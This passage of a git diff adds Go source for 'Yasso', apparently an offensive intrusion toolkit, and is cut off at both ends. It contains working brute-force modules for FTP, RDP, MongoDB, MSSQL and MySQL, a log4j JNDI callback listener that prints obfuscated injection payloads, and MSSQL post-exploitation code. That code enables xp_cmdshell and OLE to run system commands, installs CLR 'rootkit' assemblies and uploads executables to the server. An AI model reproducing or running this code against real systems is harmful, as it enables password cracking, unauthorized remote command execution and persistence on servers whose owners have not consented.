ReadTextToDic("ftp",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [ftp]") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("ftp",users,pass,ips,BrutePort,Runtime,TimeDuration,"") + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } +} + + +func FtpConn(info config.HostIn,user,pass string)(bool,error){ + var flag = false + c, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),time.Duration(info.TimeOut)) + + conn, err := ftp.Dial(fmt.Sprintf("%v:%v",info.Host,info.Port),ftp.DialWithNetConn(c)) + if err == nil { + err = conn.Login(user,pass) + if err == nil { + flag = true + } + } + return flag,err +} \ No newline at end of file diff --git a/cmd/grdp.go b/cmd/grdp.go new file mode 100644 index 0000000..68df675 --- /dev/null +++ b/cmd/grdp.go @@ -0,0 +1,167 @@ +package cmd + +import ( + "Yasso/config" + "errors" + "fmt" + "github.com/spf13/cobra" + "github.com/tomatome/grdp/core" + "github.com/tomatome/grdp/glog" + "github.com/tomatome/grdp/protocol/nla" + "github.com/tomatome/grdp/protocol/pdu" + "github.com/tomatome/grdp/protocol/rfb" + "github.com/tomatome/grdp/protocol/sec" + "github.com/tomatome/grdp/protocol/t125" + "github.com/tomatome/grdp/protocol/tpkt" + "github.com/tomatome/grdp/protocol/x224" + "log" + "os" + "sync" + "time" +) +var ( + BruteDomain string +) +var RdpCmd = &cobra.Command{ + Use: "grdp", + Short: "RDP burst module (support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == ""{ + _ = cmd.Help() + }else{ + BruteRdpByUser() + } + }, +} + +func init() { + RdpCmd.Flags().StringVar(&BruteDomain,"domain","","set host domain") +} + +func BruteRdpByUser(){ + if BrutePort == 0 { + BrutePort = 3389 + } + var ips []string + var err error + if Hosts != "" { + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("rdp",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [rdp]") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("rdp",users,pass,ips,BrutePort,Runtime,TimeDuration,BruteDomain) + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } +} + + + +//TODO: shadow1ng佬 fork的仓库并将原始代码进行了完善和修改 + +func RdpConn(info config.HostIn,user, password string) (bool, error) { + target := fmt.Sprintf("%s:%d", info.Host, info.Port) + g := NewClient(target, glog.NONE) + err := g.Login(info.Domain, user, password) + + //var err + if err == nil { + return true, nil + } + //return true, err + return false, err +} + +type Client struct { + Host string // ip:port + tpkt *tpkt.TPKT + x224 *x224.X224 + mcs *t125.MCSClient + sec *sec.Client + pdu *pdu.Client + vnc *rfb.RFB +} + +func NewClient(host string, logLevel glog.LEVEL) *Client { + glog.SetLevel(logLevel) + logger := log.New(os.Stdout, "", 0) + glog.SetLogger(logger) + return &Client{ + Host: host, + } +} + +func (g *Client) Login(domain, user, pwd string) error { + // 这里做一下修改,将dial.Timeout换成GetConn的代理连接 + conn, err := GetConn(g.Host,5*time.Second) + if err != nil { + return fmt.Errorf("[dial err] %v", err) + } + defer conn.Close() + glog.Info(conn.LocalAddr().String()) + + g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd)) + g.x224 = x224.New(g.tpkt) + g.mcs = t125.NewMCSClient(g.x224) + g.sec = sec.NewClient(g.mcs) + g.pdu = pdu.NewClient(g.sec) + + g.sec.SetUser(user) + g.sec.SetPwd(pwd) + g.sec.SetDomain(domain) + //g.sec.SetClientAutoReconnect() + + g.tpkt.SetFastPathListener(g.sec) + g.sec.SetFastPathListener(g.pdu) + g.pdu.SetFastPathSender(g.tpkt) + + //g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL) + //g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP) + + err = g.x224.Connect() + if err != nil { + return fmt.Errorf("[x224 connect err] %v", err) + } + glog.Info("wait connect ok") + wg := &sync.WaitGroup{} + breakFlag := false + wg.Add(1) + + g.pdu.On("error", func(e error) { + err = e + glog.Error("error", e) + g.pdu.Emit("done") + }) + g.pdu.On("close", func() { + err = errors.New("close") + glog.Info("on close") + g.pdu.Emit("done") + }) + g.pdu.On("success", func() { + err = nil + glog.Info("on success") + g.pdu.Emit("done") + }) + g.pdu.On("ready", func() { + glog.Info("on ready") + g.pdu.Emit("done") + }) + g.pdu.On("update", func(rectangles []pdu.BitmapData) { + glog.Info("on update:", rectangles) + }) + g.pdu.On("done", func() { + if breakFlag == false { + breakFlag = true + wg.Done() + } + }) + + wg.Wait() + return err +} \ No newline at end of file diff --git a/cmd/icmp.go b/cmd/icmp.go new file mode 100644 index 0000000..fdaaaa7 --- /dev/null +++ b/cmd/icmp.go @@ -0,0 +1,153 @@ +package cmd + +import ( + "bytes" + "fmt" + "github.com/panjf2000/ants/v2" + "github.com/spf13/cobra" + "net" + "os/exec" + "runtime" + "strings" + "sync" + "time" +) + +var ( + tunnel = make(chan string,20) + OS = runtime.GOOS + Alive []string // 存活的ip列表 +) +var pingCmd = &cobra.Command{ + Use: "ping", + Short: "Use ping to scanner alive host (not support proxy)", + Run: func(cmd *cobra.Command, args []string) { + var ips []string + if Hosts == "" { + _ = cmd.Help() + return + } + if Hosts != "" { + ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips + }else{ + Println("Yasso scanner need a hosts") + return + } + Println(fmt.Sprintf("[Yasso] will ping %d host",len(ips))) + _ = execute(ips) + }, + +} + +func init(){ + pingCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)") + pingCmd.Flags().BoolVarP(&RunICMP,"icmp","i",false,"Icmp packets are sent to check whether the host is alive(need root)") + rootCmd.AddCommand(pingCmd) +} + +func execute(ips []string) []string { + var wg sync.WaitGroup + + go func() { + for _,ip := range ips{ + tunnel <- ip + } + }() + for i:=0;i/dev/null && echo true || echo false") + case "darwin": + cmd = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ ip +" >/dev/null && echo true || echo false") + } + info := bytes.Buffer{} + cmd.Stdout = & info + err := cmd.Start() + if err != nil { + return false + } + if err = cmd.Wait();err != nil { + return false + }else{ + if strings.Contains(info.String(),"true"){ + return true + }else{ + return false + } + } +} + +func icmp(host string) bool{ + conn, err := net.DialTimeout("ip4:icmp",host,1*time.Second) + if err != nil { + return false + } + defer func() { + _ = conn.Close() + }() + if err := conn.SetDeadline(time.Now().Add(1*time.Second)); err != nil { + return false + } + msg := packet(host) + if _, err := conn.Write(msg);err != nil { + return false + } + var receive = make([]byte,60) + if _, err := conn.Read(receive);err != nil { + return false + } + return true +} + +func packet(host string)[]byte{ + var msg = make([]byte,40) + msg[0] = 8 + msg[1] = 0 + msg[2] = 0 + msg[3] = 0 + msg[4],msg[5] = host[0],host[1] + msg[6],msg[7] = byte(1 >> 8),byte(1 & 255) + msg[2] = byte(checksum(msg[0:40]) >> 8) + msg[3] = byte(checksum(msg[0:40]) & 255) + return msg +} + +func checksum(msg []byte)uint16 { + var sum = 0 + var length = len(msg) + for i:=0;i> 16) + (sum & 0xffff) + sum = sum + (sum >> 16) + return uint16(^sum) +} \ No newline at end of file diff --git a/cmd/log4j.go b/cmd/log4j.go new file mode 100644 index 0000000..46f6662 --- /dev/null +++ b/cmd/log4j.go @@ -0,0 +1,110 @@ +package cmd + +import ( + "fmt" + "github.com/spf13/cobra" + "net" + "os" + "os/signal" + "strings" + "syscall" +) + +/* + log4j扫描程序服务器,用来查看是否有漏洞 +*/ +var ( + log4listenAddr string +) + +var Log4jCmd = &cobra.Command{ + Use: "log4j", + Short: "Open a socket listener to test log4J vulnerabilities offline", + Run: func(cmd *cobra.Command, args []string) { + if log4listenAddr == "" { + _ = cmd.Help() + } + t := strings.Split(log4listenAddr,":") + if len(t) == 2 { + Println(Clearln + "Press ctrl+c to shutdown") + go Log4jCheckServer(t[0],t[1]) + c := make(chan os.Signal,1) + signal.Notify(c,os.Interrupt,syscall.SIGTERM) + <- c + Println(Clearln + "ctrl+c detected. Shutting down") + } + }, +} + +func init(){ + Log4jCmd.Flags().StringVarP(&log4listenAddr,"bind","b","0.0.0.0:4568","socket listen address") +} + + +func Log4j2HandleRequest(conn net.Conn){ + defer conn.Close() + buf := make([]byte,1024) + num, err := conn.Read(buf) + if err != nil { + Println(fmt.Sprintf(Clearln + "accept data reading err %v",err)) + _ = conn.Close() + return + } + hexStr := fmt.Sprintf("%x",buf[:num]) + // LDAP 协议 + if "300c020101600702010304008000" == hexStr { + Println(fmt.Sprintf("[LDAP] %s Finger:%s",conn.RemoteAddr().String(),hexStr)) + return + } + if RMI(buf) { + Println(fmt.Sprintf("[RMI] %s Finger:%x",conn.RemoteAddr().String(),buf[0:7])) + return + } +} + +//TODO: https://github.com/KpLi0rn/Log4j2Scan/blob/main/core/server.go + +func RMI(data []byte) bool { + if data[0] == 0x4a && data[1] == 0x52 && data[2] == 0x4d && data[3] == 0x49 { + if data[4] != 0x00 { + return false + } + if data[5] != 0x01 && data[5] != 0x02 { + return false + } + if data[6] != 0x4b && data[6] != 0x4c && data[6] != 0x4d { + return false + } + lastData := data[7:] + for _, v := range lastData { + if v != 0x00 { + return false + } + } + return true + } + return false +} + +func Log4jCheckServer(host string,port string){ + listen, err := net.Listen("tcp",fmt.Sprintf("%s:%s",host,port)) + if err != nil { + Println(Clearln + "log4j listen server failed") + return + } + defer listen.Close() + //Println()(fmt.Sprintf("[Log4j2] Listen start on %s:%s",host,port)) + Println(Clearln + "[payload]: ") + Println(fmt.Sprintf(Clearln + "==> ${${lower:${lower:jndi}}:${lower:ldap}://%v:%v/poc}",host,port)) + Println(fmt.Sprintf(Clearln + "==> ${${::-j}ndi:rmi://%v:%v/poc}",host,port)) + Println(fmt.Sprintf(Clearln + "==> ${jndi:ldap://%v:%v/poc}",host,port)) + Println("-----------------------------------") + for { + conn, err := listen.Accept() + if err != nil { + Println(fmt.Sprintf(Clearln + "accept failed %v",err)) + continue + } + go Log4j2HandleRequest(conn) + } +} diff --git a/cmd/logger.go b/cmd/logger.go new file mode 100644 index 0000000..1a589ca --- /dev/null +++ b/cmd/logger.go @@ -0,0 +1,32 @@ +package cmd + +import ( + "fmt" + "os" +) + +var FileName string + +func Println(s string) { + fmt.Println(s) + file,err := os.OpenFile(FileName,os.O_APPEND|os.O_WRONLY,0666) + defer file.Close() + if err != nil { + fmt.Println("[!] open log file failed",err) + return + } + file.WriteString("\n"+s) +} + +func CreateLogFile(filename string) { + FileName = filename + _, err := os.Stat(filename) + if err != nil { + file,err := os.Create(filename) + if err != nil { + fmt.Println("[!] create log file failed",err) + return + } + defer file.Close() + } +} \ No newline at end of file diff --git a/cmd/mongo.go b/cmd/mongo.go new file mode 100644 index 0000000..996ba9e --- /dev/null +++ b/cmd/mongo.go @@ -0,0 +1,125 @@ +package cmd + +import ( + "Yasso/config" + "fmt" + "github.com/spf13/cobra" + "net" + "strings" + + "gopkg.in/mgo.v2" + "time" +) + +var MongoCmd = &cobra.Command{ + Use: "mongo", + Short: "MongoDB burst module (support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == "" { + _ = cmd.Help() + }else{ + BruteMongoByUser() + } + }, +} + +func BruteMongoByUser(){ + if BrutePort == 0 { + BrutePort = 27017 + } + var ips []string + var err error + if Hosts != ""{ + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("mongodb",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [mongodb]") + Println(Clearln+"[*] MongoDB Authorized crack") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("mongodb",users,pass,ips,BrutePort,Runtime,TimeDuration,"") + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } +} + + + +func MongoAuth(info config.HostIn,user,pass string)(bool,error){ + + conf := &mgo.DialInfo{ + Dial: func(addr net.Addr) (net.Conn, error) { + return GetConn(addr.String(),info.TimeOut) + }, + Addrs: []string{fmt.Sprintf("%s:%d",info.Host, info.Port)}, + Timeout: info.TimeOut, + Database: "test", + Source: "admin", + Username: user, + Password: pass, + PoolLimit: 4096, + Direct: false, + } + db, err := mgo.DialWithInfo(conf) + if err == nil { + err = db.Ping() + if err != nil { + return false,err + } + defer db.Close() + return true,nil + + } + return false,err +} + + +func MongoUnAuth(info config.HostIn,user,pass string)(bool,error) { + var flag = false + data1 := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0} + data2 := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0} + connString := fmt.Sprintf("%s:%v",info.Host,info.Port) + conn, err := GetConn(connString,info.TimeOut) + defer func() { + if conn != nil { + conn.Close() + } + }() + if err != nil { + return false,err + } + err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut))) + if err != nil { + return false,err + } + _, err = conn.Write(data1) + if err != nil { + return false,err + } + reply := make([]byte,1024) + count, err := conn.Read(reply) + if err != nil { + return false,err + } + text := string(reply[0:count]) + if strings.Contains(text,"ismaster"){ + _, err = conn.Write(data2) + if err != nil { + return false,err + } + count, err := conn.Read(reply) + if err != nil { + return false, err + } + text := string(reply[0:count]) + if strings.Contains(text,"totalLinesWritten") { + flag = true + Println(fmt.Sprintf(Clearln + "[+] Mongodb %v unauthorized",info.Host)) + } + } + return flag,nil +} \ No newline at end of file diff --git a/cmd/mssql.go b/cmd/mssql.go new file mode 100644 index 0000000..5cec4a3 --- /dev/null +++ b/cmd/mssql.go @@ -0,0 +1,535 @@ +package cmd + +import ( + "Yasso/config" + "database/sql" + _ "embed" + "encoding/hex" + "fmt" + "github.com/cheggaaa/pb/v3" + _ "github.com/denisenkom/go-mssqldb" + "github.com/olekukonko/tablewriter" + "github.com/spf13/cobra" + "io/ioutil" + "math" + "os" + "strconv" + "strings" + "time" +) +/* + 内网mssql数据库比较多,可以完善一下clr和xp_cmdshell,spoacreate +*/ + +var ( + HelpWarSQLKit int + InWarSQLKit int + UnWarSQLKit int + ExecuteMethod int + UploadFile []string + WarSQLKitCommand string + WarSQLCommand string +) + + +var MssqlCmd = &cobra.Command{ + Use: "mssql", + Short: "SQL Server burst module and extend tools (not support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == "" && ConnHost == ""{ + _ = cmd.Help() + }else{ + MssqlBurpByUser() + } + }, +} + +var ( + conn = new(setting) +) + + + +func init(){ + MssqlCmd.Flags().IntVar(&HelpWarSQLKit,"kithelp",0,"print SQLKit Use help") + MssqlCmd.Flags().IntVar(&InWarSQLKit,"inkit",0,"install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]") + MssqlCmd.Flags().IntVar(&UnWarSQLKit,"unkit",0,"uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]") + MssqlCmd.Flags().StringVar(&WarSQLKitCommand,"cld","","Execute WarSQLKit Command (eg.) --cld \"whoami\"") + MssqlCmd.Flags().StringVarP(&WarSQLCommand,"sql","s","","Execute sql command") + MssqlCmd.Flags().StringVarP(&SQLCommand,"cmd","c","","Execute System command") + MssqlCmd.Flags().StringVar(&ConnHost,"hostname","","Remote Connect mssql address(brute param need false)") + MssqlCmd.Flags().StringVar(&LoginUser,"user","sa","Login ssh username") + MssqlCmd.Flags().StringVar(&LoginPass,"pass","","Login ssh password") + MssqlCmd.Flags().IntVar(&ExecuteMethod,"method",1,"Execute System command method [1,xpshell] [2,oleshell]") + MssqlCmd.Flags().StringArrayVar(&UploadFile,"upload",nil,"Use ole upload file (.eg) source,dest") +} + + +func MssqlBurpByUser(){ + if BrutePort == 0 { + BrutePort = 1433 + } + var ips []string + var err error + if Hosts != "" && ConnHost == ""{ + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("mssql",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [mssql]") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("mssql",users,pass,ips,BrutePort,Runtime,TimeDuration,"") + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } + if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != ""{ + + db,status, err := MssqlConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass) + if err != nil { + Println(fmt.Sprintf("[!] Login mssql failed %v",err)) + return + } + if db != nil && status == true { + conn.Setting(db) + switch { + case UnWarSQLKit > 0 && UnWarSQLKit <= 2: + conn.Uninstall_clr(UnWarSQLKit) + case InWarSQLKit > 0 && InWarSQLKit <= 2: + conn.Install_clr(InWarSQLKit) + case SQLCommand != "": + if ExecuteMethod == 1 { + Println("[+] Execute Method: xp_cmdshell") + conn.xp_shell(SQLCommand) + }else if ExecuteMethod == 2 { + Println("[+] Execute Method: ole echo") + conn.sp_shell(SQLCommand) + } + case HelpWarSQLKit > 0 && HelpWarSQLKit <= 2: + WarSQLKitHelp(HelpWarSQLKit) + case len(UploadFile) == 1 : + filelist := strings.Split(UploadFile[0],",") + if len(filelist) == 2{ + conn.UploadFile(filelist[0],filelist[1]) + }else{ + Println("[!] upload file only need 2 params") + } + break + case WarSQLKitCommand != "": + conn.WarSQLKitShell(WarSQLKitCommand) + case WarSQLCommand != "": + r, err := SQLExecute(conn.Conn,WarSQLCommand) + if err != nil { + return + } + for i,s := range r.Rows { + Println(s[i]) + } + default: + conn.UnSetting() + } + } + } +} + + + + +//go:embed static/WarSQLKit.dll +var WarSQLKitName []byte + +//go:embed static/SharpSQLKit.txt +var SharpSQLKit string + +type setting struct { + Conn *sql.DB + Command string +} + +func MssqlConn(info config.HostIn,user,pass string)(*sql.DB,bool ,error){ + var flag = false + db, err := sql.Open("mssql",fmt.Sprintf("sqlserver://%v:%v@%v:%v/?connection&timeout=%v&encrypt=disable",user,pass,info.Host,info.Port,info.TimeOut)) + if err == nil { + db.SetConnMaxLifetime(time.Duration(info.TimeOut)) + db.SetConnMaxIdleTime(time.Duration(info.TimeOut)) + db.SetMaxIdleConns(0) + err = db.Ping() + if err == nil { + flag = true + return db,flag,nil + } + } + + return db,flag, err +} + +// 设置数据库连接 + +func (s *setting)Setting(conn *sql.DB){ + s.Conn = conn +} + +func (s *setting)check_configuration(option string,value int) bool { + var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`,option) + r, err := SQLExecute(s.Conn,Command) + if err != nil { + return false + } + if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) { + return true + } + return false +} + + +func (s *setting)set_configuration(option string,value int) bool { + // 设置 + var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;",option,value) + _, err := SQLExecute(s.Conn,Command) + if err != nil { + return false + } + return s.check_configuration(option,value) +} + +func (s *setting)set_permission_set() bool { + var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;") + Println("[+] ALTER DATABASE master SET TRUSTWORTHY ON") + _, err := SQLExecute(s.Conn,Command) + if err != nil { + Println("[!] ALTER DATABASE master SET TRUSTWORTHY ON Failed") + return false + } + return true +} + +// 启用xp_cmdshell + +func (s *setting)Enable_xp_cmdshell() bool { + if !s.set_configuration("show advanced options",1){ + Println("[!] cannot ebable 'show advanced options'") + return false + } + if !s.set_configuration("xp_cmdshell",1) { + Println("[!] cannot enable 'xp_cmdshell'") + return false + } + return true +} + +// 关闭xp_cmdshell + +func (s *setting)Disable_xp_cmdshell()bool{ + if !s.set_configuration("show advanced options",1) { + Println("[!] cannot enable 'show advanced options'") + return false + } + if !s.set_configuration("xp_cmdshell",0) { + Println("[!] cannot disable 'xp_cmdshell'") + return false + } + if !s.set_configuration("show advanced options",0){ + Println("[!] cannot disable 'show advanced options'") + return false + } + return true +} + +func (s *setting)Enable_ole()bool{ + if !s.set_configuration("show advanced options",1){ + Println("[!] cannot enable 'show advanced options'") + return false + } + if !s.set_configuration("Ole Automation Procedures",1){ + Println("[!] cannot enable 'Ole Automation Procedures'") + return false + } + return true +} + + +func (s *setting)Disable_ole() bool { + if !s.set_configuration("show advanced options",1){ + Println("[!] cannot enable 'show advanced options'") + return false + } + if !s.set_configuration("Ole Automation Procedures", 0){ + Println("[!] cannot disable 'Ole Automation Procedures'") + return false + } + if !s.set_configuration("show advanced options", 0){ + Println("[!] cannot disable 'show advanced options'") + return false + } + return true +} + + +func (s *setting)sp_shell(Command string) bool { + if s.check_configuration("Ole Automation Procedures",0) && !s.Enable_ole() { + return false + } + var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000) +exec sp_oacreate 'wscript.shell',@shell output +exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v' +exec sp_oamethod @exec, 'StdOut', @text out; +exec sp_oamethod @text, 'ReadAll', @str out +select @str`,Command) + Println(fmt.Sprintf("[+] Command: %v",Command)) + r, err := SQLExecute(s.Conn,sqlstr) + if err != nil { + Println(fmt.Sprintf("[!] exec ole command failed %v",err)) + return false + } + for i,b := range r.Rows { + Println(b[i]) + } + return true +} + +func (s *setting)xp_shell(Command string) bool { + + if s.set_configuration("xp_cmdshell", 0) && !s.Enable_xp_cmdshell() { + return false + } + Println(fmt.Sprintf("[+] Command: %v",Command)) + var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'",Command) + r, err := SQLExecute(s.Conn,sqlstr) + if err != nil { + Println(fmt.Sprintf("[!] exec xp_cmdshell command failed %v",err)) + return false + } + for _,b := range r.Rows { + Println(b[0]) + } + return true +} + + +func WarSQLKitToHex() string { + return hex.EncodeToString(WarSQLKitName) +} + + +func (s *setting)CREATE_ASSEMBLY(flag int) bool { + var KitHex string + + if flag == 1 { + Println("[+] SQLKit ==> WarSQLKit") + KitHex = WarSQLKitToHex() + }else if flag == 2 { + Println("[+] SQLKit ==> SharpSQLKit") + KitHex = SharpSQLKit + } + var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module] + AUTHORIZATION [dbo] + FROM 0x%s + WITH PERMISSION_SET = UNSAFE;`,KitHex) + _, err := SQLExecute(s.Conn,Command) + if err != nil { + Println(fmt.Sprintf("[!] Import the assembly failed %v",err)) + return false + } + Println("[+] Import the assembly") + return true +} + +func (s *setting)CREATE_PROCEDURE(flag int) bool { + var Command string + if flag == 1{ + Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[sp_cmdExec] @cmd NVARCHAR (MAX), @result NVARCHAR (MAX) OUTPUT AS EXTERNAL NAME [CLR_module].[StoredProcedures].[CmdExec];`) + }else if flag == 2 { + Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec] +@cmd NVARCHAR (MAX) +AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`) + } + _, err := SQLExecute(s.Conn,Command) + if err != nil { + Println(fmt.Sprintf("[!] Link the assembly to a stored procedure failed %v",err)) + return false + } + Println("[+] Link the assembly to a stored procedure") + return true +} + + +func (s *setting) Install_clr(flag int) bool { + if !s.set_permission_set() { + return false + } + if !s.CREATE_ASSEMBLY(flag){ + return false + } + if !s.CREATE_PROCEDURE(flag){ + return false + } + Println("[+] Install SQLKit successful!") + Println("[+] Please Use SQL Connect Tools to Execute") + Println("[+] WarSQLKit Command Help --SQLKit [1,2]") + return true +} + +func (s *setting)Uninstall_clr(flag int) bool { + var Command string + if flag == 1 { + Println("[+] SQLKit ==> WarSQLKit") + Command = fmt.Sprintf(`drop PROCEDURE dbo.sp_cmdExec +drop assembly CLR_module`) + }else if flag == 2 { + Println("[+] SQLKit ==> SharpSQLKit") + Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec +drop assembly CLR_module`) + } + _, err := SQLExecute(s.Conn,Command) + if err != nil { + Println(fmt.Sprintf("[!] Uninstall SQLKit failed %v",err)) + return false + } + Println("[+] Uninstall SQLKit successful!") + return true +} + +func ReadFileToSplitHex(path string,splitLength int) []string { + data, err := ioutil.ReadFile(path) + if err != nil { + + return []string{} + } + HexData := hex.EncodeToString(data) + var hexList []string + num := int(math.Ceil(float64(len(HexData) / splitLength))) + for i := 0;i < num; i++ { + hexList = append(hexList,HexData[i*splitLength:(i+1)*splitLength]) + } + hexList = append(hexList,HexData[num*splitLength:]) + // 返回分割好的list + return hexList +} + + + +func (s *setting)UploadFile(source,dest string){ + Println(fmt.Sprintf("[+] Ole Upload File %s to %s",source,dest)) + if s.set_configuration("Ole Automation Procedures",0) && !s.Enable_ole(){ + Println("[!] setting Ole Automation or enable Ole failed") + return + } + var copyCommand = `copy /b` + var splitLength = 250000 + Hexlist := ReadFileToSplitHex(source,splitLength) + bar := pb.StartNew(len(Hexlist)) + + for i,body := range Hexlist { + var text2 = fmt.Sprintf("%v_%v.config_txt",dest,i) + var sqlstr = fmt.Sprintf(`DECLARE @ObjectToken INT + EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT + EXEC sp_OASetProperty @ObjectToken, 'Type', 1 + EXEC sp_OAMethod @ObjectToken, 'Open' + EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x%s + EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL,'%s', 2 + EXEC sp_OAMethod @ObjectToken, 'Close' + EXEC sp_OADestroy @ObjectToken`,body,text2) + _, err := SQLExecute(s.Conn,sqlstr) + if err != nil { + Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading",dest,i)) + return + } + if i == 0 { + copyCommand = copyCommand + ` "` + text2 + `"` + }else{ + copyCommand = copyCommand + " +" + ` "` + text2 + `"` + } + time.Sleep(1000 *time.Millisecond) + if s.File_Exists(text2,1) { + bar.Increment() + //Println()(fmt.Sprintf("[+] %s_%v.config_txt Upload completed",dest,i)) + }else{ + Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading",dest,i)) + return + } + } + copyCommand = copyCommand + ` "` + dest + `"` + var shell = fmt.Sprintf(` + DECLARE @SHELL INT + EXEC sp_oacreate 'wscript.shell', @SHELL OUTPUT + EXEC sp_oamethod @SHELL, 'run' , NULL, 'c:\windows\system32\cmd.exe /c`) + _, err := SQLExecute(s.Conn,shell+copyCommand + "'") + if err != nil { + Println(fmt.Sprintf("%v",err)) + return + } + Println("\n[+] copy file success") + time.Sleep(1000*time.Millisecond) + if s.File_Exists(dest,1) { + sqlstr := shell + fmt.Sprintf(`del %s*.config_txt`,dest) + "'" + _, err := SQLExecute(s.Conn,sqlstr) + if err != nil { + Println(fmt.Sprintf("[!] del file failed %v",err)) + return + } + Println(fmt.Sprintf("\n[+] %s Upload completed",source)) + } +} + +func (s *setting)File_Exists(path string,value int ) bool { + var Command = fmt.Sprintf(` +DECLARE @r INT +EXEC master.dbo.xp_fileexist '%v', @r OUTPUT +SELECT @r as n`,path) + r,err := SQLExecute(s.Conn,Command) + if err != nil { + return false + } + if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) { + return true + } + return false +} + + +func WarSQLKitHelp(flag int){ + table := tablewriter.NewWriter(os.Stdout) + table.SetHeader([]string{"SQL Command","Introduce"}) + table.SetRowLine(true) + var help [][]string + if flag == 1 { + help = config.WarKitHelp + }else if flag == 2 { + help = config.SharpKitHelp + } + for _, v := range help { + table.Append(v) + } + table.Render() +} + +func (s *setting)UnSetting(){ + s.Conn = nil +} + + +func (s *setting)WarSQLKitShell(cld string){ + var Command = fmt.Sprintf(`declare @shell varchar(8000); +EXEC sp_cmdExec '%v' ,@shell output +select @shell`,cld) + r, err := SQLExecute(s.Conn,Command) + if err != nil { + Println(fmt.Sprintf("[!] %v",err)) + return + } + for i,s := range r.Rows { + Println(s[i]) + } +} + +func Test(){ + db,status, err := MssqlConn(config.HostIn{Host: "192.168.248.128",Port: 1433,TimeOut: 1 *time.Second},"sa","admin@123") + if status == true && err == nil { + conn := new(setting) + conn.Setting(db) + conn.UploadFile(`C:\Users\Administrator\Desktop\fscan64.exe`,`1.exe`) + } +} \ No newline at end of file diff --git a/cmd/mysql.go b/cmd/mysql.go new file mode 100644 index 0000000..1942af2 --- /dev/null +++ b/cmd/mysql.go @@ -0,0 +1,112 @@ +package cmd + +import ( + "Yasso/config" + "context" + "database/sql" + "fmt" + _ "github.com/denisenkom/go-mssqldb" + "github.com/go-sql-driver/mysql" + _ "github.com/go-sql-driver/mysql" + _ "github.com/lib/pq" + "github.com/spf13/cobra" + "net" + "time" +) + +var MysqlCmd = &cobra.Command{ + Use: "mysql", + Short: "MYSQL burst module and extend tools (support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == "" 